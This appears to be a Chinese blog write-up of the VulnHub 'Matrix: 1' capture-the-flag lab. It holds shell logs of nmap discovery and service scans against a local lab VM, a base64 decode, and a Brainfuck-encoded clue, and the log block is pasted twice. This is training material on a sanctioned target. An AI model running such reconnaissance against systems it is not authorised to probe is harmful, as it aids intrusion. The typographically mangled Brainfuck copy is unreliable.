MATRIX: 1 ctf challenge

最新推荐文章于 2024-04-27 23:33:25 发布
最新推荐文章于 2024-04-27 23:33:25 发布
阅读量3.7k 收藏
点赞数
分类专栏： ctf 文章标签： 网络安全 udp tcp/ip
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_47210241/article/details/121550360
版权

MATRIX: 1

About Release

Back to the Top

Download

Back to the Top

Please remember that VulnHub is a free community resource so we are unable to check the machines that are provided to us. Before you download, please read our FAQs sections dealing with the dangers of running unknown VMs and our suggestions for “protecting yourself and your network. If you understand the risks, please download!

  • Machine_Matrix.zip (Size: 552 MB)
  • Download: https://mega.nz/#!CiwBjRZB!EtKOQvDQjytMq3LkkMgrHDC9EYxEz8mqpOg5M2N1OOk
  • Download (Mirror): https://download.vulnhub.com/matrix/Machine_Matrix.zip
  • Download (Torrent): https://download.vulnhub.com/matrix/Machine_Matrix.zip.torrent ( Magnet)

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# ll
总用量 107916
-rw-r–r-- 1 kwkl kwkl 972 11月 1 13:59 api
-rw-r–r-- 1 kwkl kwkl 46501062 10月 14 01:04 Nessus-8.15.2-debian6_amd64.deb
-rw-r–r-- 1 kwkl kwkl 31958540 11月 23 23:35 python3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb
-rw-r–r-- 1 kwkl kwkl 32038036 11月 23 23:34 python3-pyqt5-dbg_5.15.2+dfsg-3_arm64.deb

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# dpkg -i ython3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb

dpkg: 错误: 无法访问归档 ‘ython3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb’: 没有那个文件或目录

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# dpkg -i python3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb 2 ⨯

正在选中未选择的软件包 python3-pyqt5-dbg。
(正在读取数据库 … 系统当前共安装有 270587 个文件和目录。)
准备解压 python3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb …
正在解压 python3-pyqt5-dbg (5.15.2+dfsg-3) …
dpkg: 依赖关系问题使得 python3-pyqt5-dbg 的配置工作不能继续：
python3-pyqt5-dbg 依赖于 python3-dbg；然而：
未安装软件包 python3-dbg。
python3-pyqt5-dbg 依赖于 python3-pyqt5 (= 5.15.2+dfsg-3)；然而：
未安装软件包 python3-pyqt5。
python3-pyqt5-dbg 依赖于 python3-pyqt5.sip-dbg (>= 12.8)；然而：
未安装软件包 python3-pyqt5.sip-dbg。

dpkg: 处理软件包 python3-pyqt5-dbg (–install)时出错：
依赖关系问题 - 仍未被配置
在处理时有错误发生：
python3-pyqt5-dbg

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# apt install python3-dbg python3-pyqt5.sip-dbg python3-pyqt5 1 ⨯
正在读取软件包列表… 完成
正在分析软件包的依赖关系树… 完成
正在读取状态信息… 完成
没有可用的软件包 python3-pyqt5.sip-dbg，但是它被其它的软件包引用了。
这可能意味着这个缺失的软件包可能已被废弃，
或者只能在其他发布源中找到

E: 软件包 python3-pyqt5.sip-dbg 没有可安装候选

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# apt install python3-dbg python3-pyqt5.sip-dbg python3-pyqt5 100 ⨯
正在读取软件包列表… 完成
正在分析软件包的依赖关系树… 完成
正在读取状态信息… 完成
没有可用的软件包 python3-pyqt5.sip-dbg，但是它被其它的软件包引用了。
这可能意味着这个缺失的软件包可能已被废弃，
或者只能在其他发布源中找到

E: 软件包 python3-pyqt5.sip-dbg 没有可安装候选

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# nmap -n 172.16.70.0/24 100 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 23:37 HKT
Nmap scan report for 172.16.70.1
Host is up (0.00026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
49158/tcp open unknown
49161/tcp open unknown
MAC Address: 00:50:56:C0:00:05 (VMware)

Nmap scan report for 172.16.70.2
Host is up (0.000097s latency).
All 1000 scanned ports on 172.16.70.2 are closed
MAC Address: 00:50:56:EE:4E:08 (VMware)

Nmap scan report for 172.16.70.139
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
31337/tcp open Elite
MAC Address: 00:0C:29:0D:35:13 (VMware)

Nmap scan report for 172.16.70.254
Host is up (0.00022s latency).
All 1000 scanned ports on 172.16.70.254 are filtered
MAC Address: 00:50:56:E2:9B:C8 (VMware)

Nmap scan report for 172.16.70.122
Host is up (0.0000030s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
3000/tcp open ppp

Nmap done: 256 IP addresses (5 hosts up) scanned in 24.66 seconds

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# nmap -A -v -sS -sV -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 23:38 HKT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
NSE: Script Post-scanning.
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Read data files from: /usr/bin/…/share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.63 seconds
Raw packets sent: 0 (0B) | Rcvd: 0 (0B)

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# nmap -A -v -sS -sV -p- 172.16.70.139
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 23:38 HKT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating ARP Ping Scan at 23:38
Scanning 172.16.70.139 [1 port]
Completed ARP Ping Scan at 23:38, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:38
Completed Parallel DNS resolution of 1 host. at 23:38, 0.05s elapsed
Initiating SYN Stealth Scan at 23:38
Scanning 172.16.70.139 [65535 ports]
Discovered open port 22/tcp on 172.16.70.139
Discovered open port 80/tcp on 172.16.70.139
Discovered open port 31337/tcp on 172.16.70.139
Completed SYN Stealth Scan at 23:38, 2.14s elapsed (65535 total ports)
Initiating Service scan at 23:38
Scanning 3 services on 172.16.70.139
Completed Service scan at 23:38, 6.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 172.16.70.139
NSE: Script scanning 172.16.70.139.
Initiating NSE at 23:38
Completed NSE at 23:39, 1.41s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.01s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Nmap scan report for 172.16.70.139
Host is up (0.00050s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA)
| 256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA)
|_ 256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (ED25519)
80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|http-title: Welcome in Matrix
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
| http-methods:
| Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|_http-title: Welcome in Matrix
MAC Address: 00:0C:29:0D:35:13 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 17.103 days (since Sat Nov 6 21:11:21 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 172.16.70.139

NSE: Script Post-scanning.
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Read data files from: /usr/bin/…/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

┌──(root💀kwkl)-[/home/kwkl/下载]
└─#

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# echo “ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=” | base64 -d
echo "Then you’ll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
┌──(root💀kwkl)-[/home/kwkl/下载]
└─#

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# ll
总用量 107916
-rw-r–r-- 1 kwkl kwkl 972 11月 1 13:59 api
-rw-r–r-- 1 kwkl kwkl 46501062 10月 14 01:04 Nessus-8.15.2-debian6_amd64.deb
-rw-r–r-- 1 kwkl kwkl 31958540 11月 23 23:35 python3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb
-rw-r–r-- 1 kwkl kwkl 32038036 11月 23 23:34 python3-pyqt5-dbg_5.15.2+dfsg-3_arm64.deb

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# dpkg -i ython3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb

dpkg: 错误: 无法访问归档 ‘ython3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb’: 没有那个文件或目录

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# dpkg -i python3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb 2 ⨯

正在选中未选择的软件包 python3-pyqt5-dbg。
(正在读取数据库 … 系统当前共安装有 270587 个文件和目录。)
准备解压 python3-pyqt5-dbg_5.15.2+dfsg-3_amd64.deb …
正在解压 python3-pyqt5-dbg (5.15.2+dfsg-3) …
dpkg: 依赖关系问题使得 python3-pyqt5-dbg 的配置工作不能继续：
python3-pyqt5-dbg 依赖于 python3-dbg；然而：
未安装软件包 python3-dbg。
python3-pyqt5-dbg 依赖于 python3-pyqt5 (= 5.15.2+dfsg-3)；然而：
未安装软件包 python3-pyqt5。
python3-pyqt5-dbg 依赖于 python3-pyqt5.sip-dbg (>= 12.8)；然而：
未安装软件包 python3-pyqt5.sip-dbg。

dpkg: 处理软件包 python3-pyqt5-dbg (–install)时出错：
依赖关系问题 - 仍未被配置
在处理时有错误发生：
python3-pyqt5-dbg

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# apt install python3-dbg python3-pyqt5.sip-dbg python3-pyqt5 1 ⨯
正在读取软件包列表… 完成
正在分析软件包的依赖关系树… 完成
正在读取状态信息… 完成
没有可用的软件包 python3-pyqt5.sip-dbg，但是它被其它的软件包引用了。
这可能意味着这个缺失的软件包可能已被废弃，
或者只能在其他发布源中找到

E: 软件包 python3-pyqt5.sip-dbg 没有可安装候选

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# apt install python3-dbg python3-pyqt5.sip-dbg python3-pyqt5 100 ⨯
正在读取软件包列表… 完成
正在分析软件包的依赖关系树… 完成
正在读取状态信息… 完成
没有可用的软件包 python3-pyqt5.sip-dbg，但是它被其它的软件包引用了。
这可能意味着这个缺失的软件包可能已被废弃，
或者只能在其他发布源中找到

E: 软件包 python3-pyqt5.sip-dbg 没有可安装候选

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# nmap -n 172.16.70.0/24 100 ⨯
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 23:37 HKT
Nmap scan report for 172.16.70.1
Host is up (0.00026s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
49158/tcp open unknown
49161/tcp open unknown
MAC Address: 00:50:56:C0:00:05 (VMware)

Nmap scan report for 172.16.70.2
Host is up (0.000097s latency).
All 1000 scanned ports on 172.16.70.2 are closed
MAC Address: 00:50:56:EE:4E:08 (VMware)

Nmap scan report for 172.16.70.139
Host is up (0.00074s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
31337/tcp open Elite
MAC Address: 00:0C:29:0D:35:13 (VMware)

Nmap scan report for 172.16.70.254
Host is up (0.00022s latency).
All 1000 scanned ports on 172.16.70.254 are filtered
MAC Address: 00:50:56:E2:9B:C8 (VMware)

Nmap scan report for 172.16.70.122
Host is up (0.0000030s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
3000/tcp open ppp

Nmap done: 256 IP addresses (5 hosts up) scanned in 24.66 seconds

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# nmap -A -v -sS -sV -p-
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 23:38 HKT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
NSE: Script Post-scanning.
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Read data files from: /usr/bin/…/share/nmap
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.63 seconds
Raw packets sent: 0 (0B) | Rcvd: 0 (0B)

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# nmap -A -v -sS -sV -p- 172.16.70.139
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-23 23:38 HKT
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating NSE at 23:38
Completed NSE at 23:38, 0.00s elapsed
Initiating ARP Ping Scan at 23:38
Scanning 172.16.70.139 [1 port]
Completed ARP Ping Scan at 23:38, 0.08s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 23:38
Completed Parallel DNS resolution of 1 host. at 23:38, 0.05s elapsed
Initiating SYN Stealth Scan at 23:38
Scanning 172.16.70.139 [65535 ports]
Discovered open port 22/tcp on 172.16.70.139
Discovered open port 80/tcp on 172.16.70.139
Discovered open port 31337/tcp on 172.16.70.139
Completed SYN Stealth Scan at 23:38, 2.14s elapsed (65535 total ports)
Initiating Service scan at 23:38
Scanning 3 services on 172.16.70.139
Completed Service scan at 23:38, 6.02s elapsed (3 services on 1 host)
Initiating OS detection (try #1) against 172.16.70.139
NSE: Script scanning 172.16.70.139.
Initiating NSE at 23:38
Completed NSE at 23:39, 1.41s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.01s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Nmap scan report for 172.16.70.139
Host is up (0.00050s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 9c:8b:c7:7b:48:db:db:0c:4b:68:69:80:7b:12:4e:49 (RSA)
| 256 49:6c:23:38:fb:79:cb:e0:b3:fe:b2:f4:32:a2:70:8e (ECDSA)
|_ 256 53:27:6f:04:ed:d1:e7:81:fb:00:98:54:e6:00:84:4a (ED25519)
80/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
| http-methods:
|_ Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|http-title: Welcome in Matrix
31337/tcp open http SimpleHTTPServer 0.6 (Python 2.7.14)
| http-methods:
| Supported Methods: GET HEAD
|_http-server-header: SimpleHTTP/0.6 Python/2.7.14
|_http-title: Welcome in Matrix
MAC Address: 00:0C:29:0D:35:13 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Uptime guess: 17.103 days (since Sat Nov 6 21:11:21 2021)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: All zeros

TRACEROUTE
HOP RTT ADDRESS
1 0.50 ms 172.16.70.139

NSE: Script Post-scanning.
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Initiating NSE at 23:39
Completed NSE at 23:39, 0.00s elapsed
Read data files from: /usr/bin/…/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.76 seconds
Raw packets sent: 65558 (2.885MB) | Rcvd: 65550 (2.623MB)

┌──(root💀kwkl)-[/home/kwkl/下载]
└─#

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# echo “ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=” | base64 -d
echo "Then you’ll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix
┌──(root💀kwkl)-[/home/kwkl/下载]
└─#

┌──(root💀kwkl)-[/home/kwkl/下载]
└─# cat Cypher.matrix
+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>— -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->— ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >—< ]>—
—.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-

++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> —.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- —<] >---- —.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>–. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- —.< +++[- >—<
]>— .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> —<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> —<] >—. <++++ ++++[ ->— ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >—< ]>— --.<+
+++++ ++[-> ----- —<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->— ----< ]>— ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++… <++++ +++[- >---- —<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
++.< +++++ [->-- —<] >-…< +++++ +++[- >---- ----< ]>— ----- —.-
–.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> —<] >---- --.<+ +++++ [->-- ----< ]>— ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- —<] >---- .<+++ [->++ +<]>+ +…<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
—<] >—. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >—< ]>–.
–.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> —<] >–.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->— ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->— ----- <]>-- ----- ----- —.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.— ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >—< ]>— ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->— ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->— ----- <]>-- ----- ----- —.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- —.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- —.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
—<] >---- .<+++ [->++ +<]>+ +.— -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- —.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- —<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++… <++++ +++[-
---- —<] >---- —.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->— ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- —<]
–.+ +++++ ++.<+ +++++ ++[-> ----- —<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->–
----- -<]>- —.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
—< ]>-.< +++++ +++[- >---- ----< ]>— -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- —.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->— ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.— ----. <++++ ++++[ ->— ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->— ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->— <]>-- ----. <++++ [->++ ++<]> ++…+ +++.- ----- --.++ +.<++
+[->- --<]> ----- .<+++ ++++[ ->— ----< ]>— --.<+ ++++[ ->— --<]>
----- —.- --.<

┌──(root💀kwkl)-[/home/kwkl/下载]
└─#

在线解码:http://ctf.ssleye.com/brain.html

+++++ ++++[ ->+++ +++++ +<]>+ +++++ ++.<+ +++[- >++++ <]>++ ++++. +++++
+.<++ +++++ ++[-> ----- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]> +++.-
-.<++ +[->+ ++<]> ++++. <++++ ++++[ ->--- ----- <]>-- ----- ----- --.<+
+++++ ++[-> +++++ +++<] >++++ +.+++ +++++ +.+++ +++.< +++[- >---< ]>---
---.< +++[- >+++< ]>+++ +.<++ +++++ ++[-> ----- ----< ]>-.< +++++ +++[-
>++++ ++++< ]>+++ +++++ +.+++ ++.++ ++++. ----- .<+++ +++++ [->-- -----
-<]>- ----- ----- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ +.<++
+[->- --<]> ---.< ++++[ ->+++ +<]>+ ++.-- .---- ----- .<+++ [->++ +<]>+
+++++ .<+++ +++++ +[->- ----- ---<] >---- ---.< +++++ +++[- >++++ ++++<
]>+.< ++++[ ->+++ +<]>+ +.<++ +++++ ++[-> ----- ----< ]>--. <++++ ++++[
->+++ +++++ <]>++ +++++ .<+++ [->++ +<]>+ ++++. <++++ [->-- --<]> .<+++
[->++ +<]>+ ++++. +.<++ +++++ +[->- ----- --<]> ----- ---.< +++[- >---<
]>--- .<+++ +++++ +[->+ +++++ +++<] >++++ ++.<+ ++[-> ---<] >---- -.<++
+[->+ ++<]> ++.<+ ++[-> ---<] >---. <++++ ++++[ ->--- ----- <]>-- -----
-.<++ +++++ +[->+ +++++ ++<]> +++++ +++++ +++++ +.<++ +[->- --<]> -----
-.<++ ++[-> ++++< ]>++. .++++ .---- ----. +++.< +++[- >---< ]>--- --.<+
+++++ ++[-> ----- ---<] >---- .<+++ +++++ [->++ +++++ +<]>+ +++++ +++++
.<+++ ++++[ ->--- ----< ]>--- ----- -.<++ +++++ [->++ +++++ <]>++ +++++
+++.. <++++ +++[- >---- ---<] >---- ----- --.<+ +++++ ++[-> +++++ +++<]
>++.< +++++ [->-- ---<] >-..< +++++ +++[- >---- ----< ]>--- ----- ---.-
--.<+ +++++ ++[-> +++++ +++<] >++++ .<+++ ++[-> +++++ <]>++ +++++ +.+++
++.<+ ++[-> ---<] >---- --.<+ +++++ [->-- ----< ]>--- ----. <++++ +[->-
----< ]>-.< +++++ [->++ +++<] >++++ ++++. <++++ +[->+ ++++< ]>+++ +++++
+.<++ ++[-> ++++< ]>+.+ .<+++ +[->- ---<] >---- .<+++ [->++ +<]>+ +..<+
++[-> +++<] >++++ .<+++ +++++ [->-- ----- -<]>- ----- ----- --.<+ ++[->
---<] >---. <++++ ++[-> +++++ +<]>+ ++++. <++++ ++[-> ----- -<]>- ----.
<++++ ++++[ ->+++ +++++ <]>++ ++++. +++++ ++++. +++.< +++[- >---< ]>--.
--.<+ ++[-> +++<] >++++ ++.<+ +++++ +++[- >---- ----- <]>-- -.<++ +++++
+[->+ +++++ ++<]> +++++ +++++ ++.<+ ++[-> ---<] >--.< ++++[ ->+++ +<]>+
+.+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
+.+++ .---- ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++
+++[- >++++ ++++< ]>+++ .++++ +.--- ----. <++++ [->++ ++<]> +.<++ ++[->
----< ]>-.+ +.<++ ++[-> ++++< ]>+.< +++[- >---< ]>--- ---.< +++[- >+++<
]>+++ +.+.< +++++ ++++[ ->--- ----- -<]>- -.<++ +++++ ++[-> +++++ ++++<
]>++. ----. <++++ ++++[ ->--- ----- <]>-- ----- ----- ---.< +++++ +[->+
+++++ <]>++ +++.< +++++ +[->- ----- <]>-- ---.< +++++ +++[- >++++ ++++<
]>+++ +++++ .---- ---.< ++++[ ->+++ +<]>+ ++++. <++++ [->-- --<]> -.<++
+++++ +[->- ----- --<]> ----- .<+++ +++++ +[->+ +++++ +++<] >+.<+ ++[->
---<] >---- .<+++ [->++ +<]>+ +.--- -.<++ +[->- --<]> --.++ .++.- .<+++
+++++ [->-- ----- -<]>- ---.< +++++ ++++[ ->+++ +++++ +<]>+ +++++ .<+++
[->-- -<]>- ----. <+++[ ->+++ <]>++ .<+++ [->-- -<]>- --.<+ +++++ ++[->
----- ---<] >---- ----. <++++ +++[- >++++ +++<] >++++ +++.. <++++ +++[-
>---- ---<] >---- ---.< +++++ ++++[ ->+++ +++++ +<]>+ ++.-- .++++ +++.<
+++++ ++++[ ->--- ----- -<]>- ----- --.<+ +++++ +++[- >++++ +++++ <]>++
+++++ +.<++ +[->- --<]> -.+++ +++.- --.<+ +++++ +++[- >---- ----- <]>-.
<++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ .++++ +++++ .<+++ +[->- ---<]
>--.+ +++++ ++.<+ +++++ ++[-> ----- ---<] >---- ----- --.<+ +++++ ++[->
+++++ +++<] >+.<+ ++[-> +++<] >++++ .<+++ [->-- -<]>- .<+++ +++++ [->--
----- -<]>- ---.< +++++ +++[- >++++ ++++< ]>+++ +++.+ ++.++ +++.< +++[-
>---< ]>-.< +++++ +++[- >---- ----< ]>--- -.<++ +++++ +[->+ +++++ ++<]>
+++.< +++[- >+++< ]>+++ .+++. .<+++ [->-- -<]>- ---.- -.<++ ++[-> ++++<
]>+.< +++++ ++++[ ->--- ----- -<]>- --.<+ +++++ +++[- >++++ +++++ <]>++
.+.-- .---- ----- .++++ +.--- ----. <++++ ++++[ ->--- ----- <]>-- -----
.<+++ +++++ [->++ +++++ +<]>+ +++++ +++++ ++++. ----- ----. <++++ ++++[
->--- ----- <]>-- ----. <++++ ++++[ ->+++ +++++ <]>++ +++++ +++++ ++++.
<+++[ ->--- <]>-- ----. <++++ [->++ ++<]> ++..+ +++.- ----- --.++ +.<++
